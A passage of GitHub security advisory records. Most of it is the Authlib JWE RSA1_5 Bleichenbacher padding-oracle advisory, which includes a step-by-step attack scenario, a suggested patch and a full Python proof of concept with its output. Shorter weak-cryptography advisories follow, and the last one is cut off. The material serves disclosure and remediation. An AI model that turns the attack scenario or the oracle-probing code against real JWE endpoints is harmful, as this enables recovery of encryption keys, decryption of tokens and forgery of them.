fix must be in Authlib.\n\n---\n\n## 4. Specification Violations\n\n### RFC 3218 \u2014 Preventing the Million Message Attack on CMS\n\n**Section 2.3.2 (Mitigation):**\n\u003e \"The receiver MUST NOT return any information that indicates whether the decryption\n\u003e failed because the PKCS #1 padding was incorrect or because the MAC was incorrect.\"\n\nThis is an absolute requirement with no exceptions for \"application-level mitigations.\"\nAuthlib violates this by raising a different exception class for padding failures than\nfor MAC failures. The `cryptography` library already implements the correct mitigation\nfor this exact scenario \u2014 Authlib destroys it with a single length check.\n\n### RFC 7516 \u2014 JSON Web Encryption\n\n**Section 9 (Security Considerations):**\n\u003e \"An attacker who can cause a JWE decryption to fail in different ways based on the\n\u003e structure of the encrypted key can mount a Bleichenbacher attack.\"\n\nAuthlib enables exactly this scenario. Two structurally different encrypted keys\n(one with invalid padding, one with valid padding but wrong CEK) produce two different\nexception classes. This is the exact condition RFC 7516 \u00a79 warns against.\n\n---\n\n## 5. Attack Scenario\n\n1. The attacker identifies an Authlib-powered endpoint that decrypts JWE tokens.\n Because `RSA1_5` is in the default registry, **no special server configuration\n is required**.\n\n2. The attacker obtains the server RSA public key \u2014 typically available via the\n JWKS endpoint (`/.well-known/jwks.json`), which is standard in OIDC deployments.\n\n3. The attacker crafts JWE tokens with the `RSA1_5` algorithm and submits a stream\n of requests to the endpoint, manipulating the `ek` component per Bleichenbacher\u0027s\n algorithm.\n\n4. The server responds with observable differences between the two paths:\n - `ValueError` path \u2192 distinguishable response (exception message, timing, or\n error monitoring artifact)\n - `InvalidTag` path \u2192 different distinguishable response\n\n5. By observing these oracle responses across thousands of requests, the attacker\n geometrically narrows the PKCS#1 v1.5 plaintext boundaries until the CEK is\n fully recovered.\n\n6. With the CEK recovered:\n - Any intercepted JWE payload can be decrypted without the RSA private key.\n - New valid JWE tokens can be forged using the recovered CEK.\n\n**Prerequisites:**\n- Target endpoint accepts JWE tokens with `RSA1_5` (active by default)\n- Any observable difference exists between the two error paths at the HTTP layer\n (present by default in Flask, Django, FastAPI without custom error handling)\n- Attacker can send requests at sufficient volume (rate limiting may extend attack\n duration but does not prevent it)\n\n---\n\n## 6. Remediation\n\n### 6.1 Immediate \u2014 Remove RSA1_5 from Default Registry\n\nRemove `RSA1_5` from the default `JWE_ALG_ALGORITHMS` registry. Users requiring\nlegacy RSA1_5 support should explicitly opt-in with a documented security warning.\nThis eliminates the attack surface for all users not requiring this algorithm.\n\n### 6.2 Code Fix \u2014 Restore Constant-Time Behavior\n\nThe `unwrap` method must never raise an exception that distinguishes padding failure\nfrom MAC failure. The length check must be replaced with a silent random CEK fallback,\npreserving the mitigation that `cryptography` implements.\n\n**Suggested Patch (`authlib/jose/rfc7518/jwe_algs.py`):**\n\n```python\nimport os\n\ndef unwrap(self, enc_alg, ek, headers, key):\n op_key = key.get_op_key(\"unwrapKey\")\n expected_bytes = enc_alg.CEK_SIZE // 8\n\n try:\n cek = op_key.decrypt(ek, self.padding)\n except ValueError:\n # Padding failure. Use random CEK so failure occurs downstream\n # during MAC validation \u2014 not here. This preserves RFC 3218 \u00a72.3.2.\n cek = os.urandom(expected_bytes)\n\n # Silent length enforcement \u2014 no exception.\n # cryptography returns random bytes of RSA block size on padding failure.\n # Replace with correct-size random CEK to allow downstream MAC to fail.\n # Raising here recreates the oracle. Do not raise.\n if len(cek) != expected_bytes:\n cek = os.urandom(expected_bytes)\n\n return cek\n```\n\n**Result:** Both paths return a CEK of the correct length. AES-GCM tag validation\nfails for both, producing `InvalidTag` in both cases. The exception oracle is\neliminated. Empirically validated via TEST 5 of the attached PoC.\n\n---\n\n## 7. Proof of Concept\n\n**Setup:**\n```bash\npython3 -m venv venv \u0026\u0026 source venv/bin/activate\npip install authlib cryptography\npython3 -c \"import authlib, cryptography; print(authlib.__version__, cryptography.__version__)\"\n# authlib 1.6.8 cryptography 46.0.5\npython3 poc_bleichenbacher.py\n```\n\nSee attached `poc_bleichenbacher.py`. All 5 tests run against the real installed\nauthlib module without mocks.\n\n**Confirmed Output (authlib 1.6.8 / cryptography 46.0.5 / Linux x86_64):**\n\n### Code\n\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@title JWE RSA1_5 Bleichenbacher Padding Oracle\n@affected authlib \u003c= 1.6.8\n@file authlib/jose/rfc7518/jwe_algs.py :: RSAAlgorithm.unwrap()\n\"\"\"\n\nimport os\nimport time\nimport statistics\n\nimport authlib\nimport cryptography\nfrom cryptography.hazmat.primitives.asymmetric import rsa, padding as asym_padding\nfrom authlib.jose import JsonWebEncryption\nfrom authlib.common.encoding import urlsafe_b64encode, to_bytes\n\nR = \"\\033[0m\"\nRED = \"\\033[91m\"\nGRN = \"\\033[92m\"\nYLW = \"\\033[93m\"\nCYN = \"\\033[96m\"\nBLD = \"\\033[1m\"\nDIM = \"\\033[2m\"\n\ndef header(title):\n print(f\"\\n{CYN}{\u0027-\u0027 * 64}{R}\")\n print(f\"{BLD}{title}{R}\")\n print(f\"{CYN}{\u0027-\u0027 * 64}{R}\")\n\ndef ok(msg): print(f\" {GRN}[OK] {R}{msg}\")\ndef vuln(msg): print(f\" {RED}[ORACLE] {R}{BLD}{msg}{R}\")\ndef info(msg): print(f\" {DIM} {msg}{R}\")\n\n\n# \u2500\u2500\u2500 setup \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef setup():\n \"\"\"\n @notice Genera el par de claves RSA y prepara el cliente JWE de authlib.\n @dev JsonWebEncryption() registra RSA1_5 por defecto en su registry.\n No se requiere configuracion adicional para habilitar el algoritmo\n vulnerable \u2014 esta activo out of the box.\n @return tuple (private_key, jwe, header_b64)\n \"\"\"\n private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)\n jwe = JsonWebEncryption()\n header_b64 = urlsafe_b64encode(\n to_bytes(\u0027{\"alg\":\"RSA1_5\",\"enc\":\"A128GCM\"}\u0027)\n ).decode()\n return private_key, jwe, header_b64\n\n\ndef make_jwe(header_b64, ek_bytes):\n \"\"\"\n @notice Construye un JWE compact con el ek dado y ciphertext/tag aleatorios.\n @dev El ciphertext y tag son basura \u2014 no importa su contenido porque el\n oracle se activa antes de llegar a la desencriptacion simetrica\n en el caso de padding invalido.\n @param header_b64 Header del JWE en Base64url\n @param ek_bytes Encrypted Key como bytes crudos\n @return str JWE en formato compact serialization\n \"\"\"\n ek = urlsafe_b64encode(ek_bytes).decode()\n iv = urlsafe_b64encode(os.urandom(12)).decode()\n ciphertext = urlsafe_b64encode(os.urandom(16)).decode()\n tag = urlsafe_b64encode(os.urandom(16)).decode()\n return f\"{header_b64}.{ek}.{iv}.{ciphertext}.{tag}\"\n\n\n# \u2500\u2500\u2500 test 1: verificar comportamiento de cryptography ante padding invalido \u2500\u2500\u2500\n\ndef test_cryptography_behavior(private_key):\n \"\"\"\n @notice Verifica empiricamente que cryptography lanza excepcion ante padding\n invalido en lugar de retornar random bytes (comportamiento critico\n para entender el oracle).\n\n @dev Algunos documentos sobre Bleichenbacher asumen que la libreria\n subyacente retorna random bytes (mitigacion a nivel biblioteca).\n cryptography 46.0.5 NO hace esto \u2014 lanza ValueError directamente.\n Eso significa que Authlib no \"destruye una mitigacion existente\"\n sino que \"no implementa ninguna mitigacion propia\".\n \"\"\"\n header(\"TEST 1 - Comportamiento de cryptography ante padding invalido\")\n\n garbage = os.urandom(256)\n\n try:\n result = private_key.decrypt(garbage, asym_padding.PKCS1v15())\n info(f\"cryptography retorno bytes: len={len(result)}\")\n info(\"NOTA: esta version implementa mitigacion de random bytes\")\n except Exception as e:\n vuln(f\"cryptography lanza excepcion directa: {type(e).__name__}: {e}\")\n info(\"No hay mitigacion a nivel de cryptography library\")\n info(\"Authlib no implementa ninguna mitigacion propia -\u003e oracle directo\")\n\n\n# \u2500\u2500\u2500 test 2: exception oracle \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef test_exception_oracle(private_key, jwe, header_b64):\n \"\"\"\n @notice Demuestra el Exception Oracle: los dos caminos de fallo producen\n excepciones de clases diferentes, observable a nivel HTTP.\n\n @dev Camino A (padding invalido):\n op_key.decrypt() -\u003e ValueError: Decryption failed\n Authlib no captura -\u003e propaga como ValueError: Invalid \"cek\" length\n HTTP server tipicamente: 500 / 400 con mensaje especifico\n\n Camino B (padding valido, MAC malo):\n op_key.decrypt() -\u003e retorna CEK bytes\n length check pasa\n AES-GCM tag validation falla -\u003e InvalidTag\n HTTP server tipicamente: 401 / 422 / diferente codigo\n\n La diferencia de clase de excepcion es el oracle primario.\n No requiere medicion de tiempo \u2014 solo observar el tipo de error.\n \"\"\"\n header(\"TEST 2 - Exception Oracle (tipo de excepcion diferente)\")\n\n # --- caso A: ek con padding invalido (basura aleatoria) ---\n jwe_bad = make_jwe(header_b64, os.urandom(256))\n\n try:\n jwe.deserialize_compact(jwe_bad, private_key)\n except Exception as e:\n vuln(f\"Caso A (padding invalido): {type(e).__name__}: {e}\")\n\n # --- caso B: ek con padding valido, ciphertext basura ---\n valid_ek = private_key.public_key().encrypt(os.urandom(16), asym_padding.PKCS1v15())\n jwe_good = make_jwe(header_b64, valid_ek)\n\n try:\n jwe.deserialize_compact(jwe_good, private_key)\n except Exception as e:\n ok(f\"Caso B (padding valido/MAC malo): {type(e).__name__}: {e}\")\n\n print()\n info(\"Los dos caminos producen excepciones de clases DIFERENTES.\")\n info(\"Un framework web que mapea excepciones a HTTP codes expone el oracle.\")\n info(\"El atacante no necesita acceso al stack trace \u2014 solo al HTTP status code.\")\n\n\n# \u2500\u2500\u2500 test 3: timing oracle \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef test_timing_oracle(private_key, jwe, header_b64, iterations=50):\n \"\"\"\n @notice Demuestra el Timing Oracle midiendo el delta de tiempo entre los\n dos caminos de fallo en multiples iteraciones.\n\n @dev El timing oracle es independiente del exception oracle.\n Incluso si el servidor normaliza las excepciones a un unico\n codigo HTTP, la diferencia de tiempo (~5ms) es suficientemente\n grande para ser medible a traves de red en condiciones reales.\n\n Bleichenbacher clasico funciona con diferencias de microsegundos.\n 5ms es un oracle extremadamente ruidoso \u2014 facil de explotar.\n\n @param iterations Numero de muestras para calcular estadisticas\n \"\"\"\n header(f\"TEST 3 - Timing Oracle ({iterations} iteraciones cada camino)\")\n\n times_bad = []\n times_good = []\n\n for _ in range(iterations):\n # camino A: padding invalido\n jwe_bad = make_jwe(header_b64, os.urandom(256))\n t0 = time.perf_counter()\n try:\n jwe.deserialize_compact(jwe_bad, private_key)\n except Exception:\n pass\n times_bad.append((time.perf_counter() - t0) * 1000)\n\n # camino B: padding valido\n valid_ek = private_key.public_key().encrypt(os.urandom(16), asym_padding.PKCS1v15())\n jwe_good = make_jwe(header_b64, valid_ek)\n t0 = time.perf_counter()\n try:\n jwe.deserialize_compact(jwe_good, private_key)\n except Exception:\n pass\n times_good.append((time.perf_counter() - t0) * 1000)\n\n mean_bad = statistics.mean(times_bad)\n mean_good = statistics.mean(times_good)\n stdev_bad = statistics.stdev(times_bad)\n stdev_good= statistics.stdev(times_good)\n delta = mean_good - mean_bad\n\n print(f\"\\n {\u0027Camino\u0027:\u003c30} {\u0027Media (ms)\u0027:\u003c14} {\u0027Stdev (ms)\u0027:\u003c14} {\u0027Min\u0027:\u003c10} {\u0027Max\u0027}\")\n print(f\" {\u0027-\u0027*30} {\u0027-\u0027*14} {\u0027-\u0027*14} {\u0027-\u0027*10} {\u0027-\u0027*10}\")\n print(f\" {\u0027Padding invalido (ValueError)\u0027:\u003c30} \"\n f\"{RED}{mean_bad:\u003c14.3f}{R} \"\n f\"{stdev_bad:\u003c14.3f} \"\n f\"{min(times_bad):\u003c10.3f} \"\n f\"{max(times_bad):.3f}\")\n print(f\" {\u0027Padding valido (InvalidTag)\u0027:\u003c30} \"\n f\"{GRN}{mean_good:\u003c14.3f}{R} \"\n f\"{stdev_good:\u003c14.3f} \"\n f\"{min(times_good):\u003c10.3f} \"\n f\"{max(times_good):.3f}\")\n print()\n\n if delta \u003e 1.0:\n vuln(f\"Delta medio: {delta:.3f} ms \u2014 timing oracle confirmado\")\n info(f\"Diferencia de {delta:.1f}ms es suficiente para Bleichenbacher via red\")\n info(f\"El ataque clasico funciona con diferencias de microsegundos\")\n else:\n ok(f\"Delta medio: {delta:.3f} ms \u2014 timing no es significativo\")\n\n\n# \u2500\u2500\u2500 test 4: confirmar RSA1_5 en registry por defecto \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef test_default_registry():\n \"\"\"\n @notice Confirma que RSA1_5 esta registrado por defecto en authlib sin\n ninguna configuracion adicional por parte del desarrollador.\n\n @dev Esto demuestra que cualquier aplicacion que use JsonWebEncryption()\n sin configuracion explicita esta expuesta al oracle por defecto.\n El desarrollador no necesita hacer nada malo \u2014 la exposicion es\n out-of-the-box.\n \"\"\"\n header(\"TEST 4 - RSA1_5 en Registry por Defecto\")\n\n jwe = JsonWebEncryption()\n\n # intentar acceder al algoritmo RSA1_5 del registry\n try:\n alg = jwe.algorithms.get_algorithm(\"RSA1_5\")\n if alg:\n vuln(f\"RSA1_5 registrado por defecto: {alg.__class__.__name__}\")\n info(\"Cualquier JsonWebEncryption() sin configuracion esta expuesto\")\n info(\"No se requiere opt-in del desarrollador para el algoritmo vulnerable\")\n else:\n ok(\"RSA1_5 NO esta en el registry por defecto\")\n except Exception as e:\n info(f\"Registry check: {e}\")\n # fallback: intentar deserializar un JWE con RSA1_5\n private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)\n header_b64 = urlsafe_b64encode(\n to_bytes(\u0027{\"alg\":\"RSA1_5\",\"enc\":\"A128GCM\"}\u0027)\n ).decode()\n jwe_token = make_jwe(header_b64, os.urandom(256))\n try:\n jwe.deserialize_compact(jwe_token, private_key)\n except Exception as e2:\n if \"UnsupportedAlgorithm\" in str(type(e2).__name__):\n ok(\"RSA1_5 NO soportado por defecto\")\n else:\n vuln(f\"RSA1_5 activo por defecto (error de desencriptacion, no de algoritmo): {type(e2).__name__}\")\n\n\n# \u2500\u2500\u2500 test 5: impacto del fix propuesto \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef test_fix_impact(private_key, header_b64):\n \"\"\"\n @notice Demuestra que el fix propuesto elimina ambos oracles simultaneamente.\n @dev El fix parchado hace que ambos caminos retornen un CEK de longitud\n correcta, forzando que el fallo ocurra downstream en AES-GCM tag\n validation en ambos casos -\u003e misma excepcion, timing indistinguible.\n \"\"\"\n header(\"TEST 5 - Verificacion del Fix Propuesto\")\n\n import os as _os\n from cryptography.hazmat.primitives.ciphers.aead import AESGCM\n\n def unwrap_patched(ek_bytes, expected_bits=128):\n \"\"\"Replica del fix propuesto para RSAAlgorithm.unwrap()\"\"\"\n expected_bytes = expected_bits // 8\n try:\n cek = private_key.decrypt(ek_bytes, asym_padding.PKCS1v15())\n except ValueError:\n cek = _os.urandom(expected_bytes) # constant-time fallback\n if len(cek) != expected_bytes:\n cek = _os.urandom(expected_bytes)\n return cek\n\n # camino A con fix: padding invalido\n cek_a = unwrap_patched(os.urandom(256))\n info(f\"Fix Camino A (padding invalido): retorna CEK de {len(cek_a)*8} bits (random)\")\n\n # camino B con fix: padding valido\n valid_ek = private_key.public_key().encrypt(os.urandom(16), asym_padding.PKCS1v15())\n cek_b = unwrap_patched(valid_ek)\n info(f\"Fix Camino B (padding valido): retorna CEK de {len(cek_b)*8} bits (real)\")\n\n print()\n ok(\"Ambos caminos retornan CEK de longitud correcta\")\n ok(\"El fallo ocurrira downstream en AES-GCM para ambos casos\")\n ok(\"Exception type sera identica en ambos caminos -\u003e oracle eliminado\")\n ok(\"Timing sera indistinguible -\u003e timing oracle eliminado\")\n\n\n# \u2500\u2500\u2500 main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nif __name__ == \"__main__\":\n print(f\"\\n{BLD}authlib {authlib.__version__} / cryptography {cryptography.__version__}{R}\")\n print(f\"authlib/jose/rfc7518/jwe_algs.py :: RSAAlgorithm.unwrap()\")\n\n private_key, jwe, header_b64 = setup()\n\n test_cryptography_behavior(private_key)\n test_exception_oracle(private_key, jwe, header_b64)\n test_timing_oracle(private_key, jwe, header_b64, iterations=50)\n test_default_registry()\n test_fix_impact(private_key, header_b64)\n\n print(f\"\\n{DIM}Fix: capturar ValueError en unwrap() y retornar os.urandom(expected_bytes){R}\")\n print(f\"{DIM} nunca levantar excepcion que distinga padding failure de MAC failure{R}\\n\")\n```\n\n### Output\n\n```bash\nauthlib 1.6.8 / cryptography 46.0.5\nauthlib/jose/rfc7518/jwe_algs.py :: RSAAlgorithm.unwrap()\n\n\n----------------------------------------------------------------\nTEST 1 - Comportamiento de cryptography ante padding invalido\n----------------------------------------------------------------\n cryptography retorno bytes: len=84\n NOTA: esta version implementa mitigacion de random bytes\n\n----------------------------------------------------------------\nTEST 2 - Exception Oracle (tipo de excepcion diferente)\n----------------------------------------------------------------\n [ORACLE] Caso A (padding invalido): ValueError: Invalid \"cek\" length\n [OK] Caso B (padding valido/MAC malo): InvalidTag: \n\n Los dos caminos producen excepciones de clases DIFERENTES.\n Un framework web que mapea excepciones a HTTP codes expone el oracle.\n El atacante no necesita acceso al stack trace \u2014 solo al HTTP status code.\n\n----------------------------------------------------------------\nTEST 3 - Timing Oracle (50 iteraciones cada camino)\n----------------------------------------------------------------\n\n Camino Media (ms) Stdev (ms) Min Max\n ------------------------------ -------------- -------------- ---------- ----------\n Padding invalido (ValueError) 1.500 1.111 0.109 8.028\n Padding valido (InvalidTag) 1.787 0.978 0.966 7.386\n\n [OK] Delta medio: 0.287 ms \u2014 timing no es significativo\n\n----------------------------------------------------------------\nTEST 4 - RSA1_5 en Registry por Defecto\n----------------------------------------------------------------\n Registry check: \u0027JsonWebEncryption\u0027 object has no attribute \u0027algorithms\u0027\n [ORACLE] RSA1_5 activo por defecto (error de desencriptacion, no de algoritmo): ValueError\n\n----------------------------------------------------------------\nTEST 5 - Verificacion del Fix Propuesto\n----------------------------------------------------------------\n Fix Camino A (padding invalido): retorna CEK de 128 bits (random)\n Fix Camino B (padding valido): retorna CEK de 128 bits (real)\n\n [OK] Ambos caminos retornan CEK de longitud correcta\n [OK] El fallo ocurrira downstream en AES-GCM para ambos casos\n [OK] Exception type sera identica en ambos caminos -\u003e oracle eliminado\n [OK] Timing sera indistinguible -\u003e timing oracle eliminado\n\nFix: capturar ValueError en unwrap() y retornar os.urandom(expected_bytes)\n nunca levantar excepcion que distinga padding failure de MAC failure\n```",
"id": "GHSA-7432-952r-cw78",
"modified": "2026-03-16T21:54:05Z",
"published": "2026-03-16T15:17:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/security/advisories/GHSA-7432-952r-cw78"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28490"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/commit/48b345f29f6c459f11c6a40162b6c0b742ef2e22"
},
{
"type": "PACKAGE",
"url": "https://github.com/authlib/authlib"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/releases/tag/v1.6.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Authlib Vulnerable to JWE RSA1_5 Bleichenbacher Padding Oracle"
}
GHSA-749J-2HP6-8CXM
Vulnerability from github – Published: 2025-12-12 15:30 – Updated: 2025-12-12 21:36Weak Encryption Algorithm in StreamPark, The use of an AES cipher in ECB mode and a weak random number generator for encrypting sensitive data, including JWT tokens, may have risked exposing sensitive authentication data
This issue affects Apache StreamPark: from 2.0.0 before 2.1.7.
Users are recommended to upgrade to version 2.1.7, which fixes the issue.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.streampark:streampark"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54981"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-12T19:23:11Z",
"nvd_published_at": "2025-12-12T15:15:53Z",
"severity": "HIGH"
},
"details": "Weak Encryption Algorithm in StreamPark,\u00a0The use of an AES cipher in ECB mode and a weak random number generator for encrypting sensitive data, including JWT tokens, may have risked exposing sensitive authentication data\n\nThis issue affects Apache StreamPark: from 2.0.0 before 2.1.7.\n\nUsers are recommended to upgrade to version 2.1.7, which fixes the issue.",
"id": "GHSA-749j-2hp6-8cxm",
"modified": "2025-12-12T21:36:30Z",
"published": "2025-12-12T15:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54981"
},
{
"type": "WEB",
"url": "https://github.com/apache/streampark/commit/39034db0c806168afa82e58e4f376e1e3c3b73e4"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/streampark"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/9rbvdvwg5fdhzjdgyrholgso53r26998"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/12/12/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Apache StreamPark uses a Weak Encryption Algorithm"
}
GHSA-759J-F46V-GHHC
Vulnerability from github – Published: 2022-05-13 01:22 – Updated: 2022-05-13 01:22Citrix NetScaler Gateway 12.1 before build 50.31, 12.0 before build 60.9, 11.1 before build 60.14, 11.0 before build 72.17, and 10.5 before build 69.5 and Application Delivery Controller (ADC) 12.1 before build 50.31, 12.0 before build 60.9, 11.1 before build 60.14, 11.0 before build 72.17, and 10.5 before build 69.5 allow remote attackers to obtain sensitive plaintext information because of a TLS Padding Oracle Vulnerability when CBC-based cipher suites are enabled.
{
"affected": [],
"aliases": [
"CVE-2019-6485"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-02-22T23:29:00Z",
"severity": "MODERATE"
},
"details": "Citrix NetScaler Gateway 12.1 before build 50.31, 12.0 before build 60.9, 11.1 before build 60.14, 11.0 before build 72.17, and 10.5 before build 69.5 and Application Delivery Controller (ADC) 12.1 before build 50.31, 12.0 before build 60.9, 11.1 before build 60.14, 11.0 before build 72.17, and 10.5 before build 69.5 allow remote attackers to obtain sensitive plaintext information because of a TLS Padding Oracle Vulnerability when CBC-based cipher suites are enabled.",
"id": "GHSA-759j-f46v-ghhc",
"modified": "2022-05-13T01:22:42Z",
"published": "2022-05-13T01:22:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6485"
},
{
"type": "WEB",
"url": "https://github.com/RUB-NDS/TLS-Padding-Oracles"
},
{
"type": "WEB",
"url": "https://support.citrix.com/article/CTX240139"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/106783"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-75GJ-WPVG-HGCQ
Vulnerability from github – Published: 2024-02-02 00:31 – Updated: 2024-02-02 00:31IBM PowerSC 1.3, 2.0, and 2.1 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information. IBM X-Force ID: 275129.
{
"affected": [],
"aliases": [
"CVE-2023-50939"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-02T00:15:54Z",
"severity": "MODERATE"
},
"details": "IBM PowerSC 1.3, 2.0, and 2.1 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information. IBM X-Force ID: 275129.",
"id": "GHSA-75gj-wpvg-hgcq",
"modified": "2024-02-02T00:31:28Z",
"published": "2024-02-02T00:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50939"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/275129"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7113759"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7635-X5F9-5458
Vulnerability from github – Published: 2023-11-06 18:30 – Updated: 2025-11-04 00:30A flaw was found in OpenSC packages that allow a potential PIN bypass. When a token/card is authenticated by one process, it can perform cryptographic operations in other processes when an empty zero-length pin is passed. This issue poses a security risk, particularly for OS logon/screen unlock and for small, permanently connected tokens to computers. Additionally, the token can internally track login status. This flaw allows an attacker to gain unauthorized access, carry out malicious actions, or compromise the system without the user's awareness.
{
"affected": [],
"aliases": [
"CVE-2023-40660"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-06T17:15:11Z",
"severity": "MODERATE"
},
"details": "A flaw was found in OpenSC packages that allow a potential PIN bypass. When a token/card is authenticated by one process, it can perform cryptographic operations in other processes when an empty zero-length pin is passed. This issue poses a security risk, particularly for OS logon/screen unlock and for small, permanently connected tokens to computers. Additionally, the token can internally track login status. This flaw allows an attacker to gain unauthorized access, carry out malicious actions, or compromise the system without the user\u0027s awareness.",
"id": "GHSA-7635-x5f9-5458",
"modified": "2025-11-04T00:30:41Z",
"published": "2023-11-06T18:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40660"
},
{
"type": "WEB",
"url": "https://github.com/OpenSC/OpenSC/issues/2792#issuecomment-1674806651"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:7876"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:7879"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2023-40660"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2240912"
},
{
"type": "WEB",
"url": "https://github.com/OpenSC/OpenSC/releases/tag/0.24.0-rc1"
},
{
"type": "WEB",
"url": "https://github.com/OpenSC/OpenSC/wiki/OpenSC-security-advisories"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/11/msg00024.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/12/msg00026.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3CPQOMCDWFRBMEFR5VK4N5MMXXU42ODE"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GLYEFIBBA37TK3UNMZN5NOJ7IWCIXLQP"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2023/12/13/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7645-RQ2J-W93J
Vulnerability from github – Published: 2022-05-13 01:04 – Updated: 2022-05-13 01:04RSA BSAFE SSL-J versions prior to 6.2.4 contain a Covert Timing Channel vulnerability during RSA decryption, also known as a Bleichenbacher attack on RSA decryption. A remote attacker may be able to recover a RSA key.
{
"affected": [],
